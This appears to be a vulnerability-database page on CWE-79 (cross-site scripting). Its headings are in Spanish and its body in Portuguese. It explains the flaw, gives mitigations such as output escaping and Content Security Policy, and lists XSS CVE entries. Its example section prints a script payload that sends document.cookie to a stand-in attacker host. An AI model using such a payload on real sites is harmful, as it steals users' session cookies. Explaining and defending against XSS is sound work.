Fallos del tipo CWE-79

29.691 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2024-23892HIGHCross-Site Scripting (XSS) vulnerability in Cups EasyEPSS 0.4%CVE-2025-22221MEDIUMVMware Aria Operations for Logs stored cross-site scripting vulnerability (CVE-2025-22221)EPSS 0.4%CVE-2026-18510HIGHTranslatePress <= 3.2.6 - Unauthenticated Stored Cross-Site Scripting via Comment ContentEPSS 0.4%CVE-2025-32187MEDIUMWordPress Administrator Z plugin <= 2026.03.02 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.4%CVE-2025-32165MEDIUMWordPress Doppler Forms plugin <= 2.5.1 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.4%CVE-2024-23872HIGHCross-Site Scripting (XSS) vulnerability in Cups EasyEPSS 0.4%CVE-2023-27413MEDIUMWordPress W4 Post List Plugin <= 2.4.4 is vulnerable to Cross Site Scripting (XSS)EPSS 0.4%CVE-2025-32197MEDIUMWordPress Piotnet Addons For Elementor plugin <= 2.4.36 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.4%CVE-2026-6592MEDIUMComfyUI userdata Endpoint user_manager.py getuserdata cross site scriptingEPSS 0.4%CVE-2024-0585MEDIUMEssential Addons for Elementor – Best Elementor Templates, Widgets, Kits & WooCommerce Builders <= 5.9.4 - Authenticated (Contributor+) Stored Cross-Site Scripting via Image URlEPSS 0.4%CVE-2025-32191MEDIUMWordPress News Element Elementor Blog Magazine plugin <= 1.0.9 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.4%CVE-2023-32107HIGHWordPress Photo Gallery by Ays Plugin <= 5.1.3 is vulnerable to Cross Site Scripting (XSS)EPSS 0.4%CVE-2026-17506HIGHIndependent Analytics <= 2.15.0 - Unauthenticated Stored Cross-Site ScriptingEPSS 0.4%CVE-2025-32188MEDIUMWordPress Advanced Woo Labels plugin <= 2.15 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.4%CVE-2024-51054MEDIUMA Cross Site Scriptng (XSS) vulnerability was found in /omrs/admin/search.php in PHPGurukul Online Marriage Registration System 1.0, which aEPSS 0.4%CVE-2025-32194MEDIUMWordPress LA-Studio Element Kit for Elementor plugin <= 1.5.1 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.4%CVE-2024-53962MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.4%CVE-2023-32742HIGHWordPress WP SMS Plugin <= 6.1.4 is vulnerable to Cross Site Scripting (XSS)EPSS 0.4%CVE-2025-32196MEDIUMWordPress News Kit Elementor Addons plugin <= 1.4.2 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.4%CVE-2024-33307MEDIUMSourceCodester Laboratory Management System 1.0 is vulnerable to Cross Site Scripting (XSS) via "Last Name" parameter in Create User.EPSS 0.4%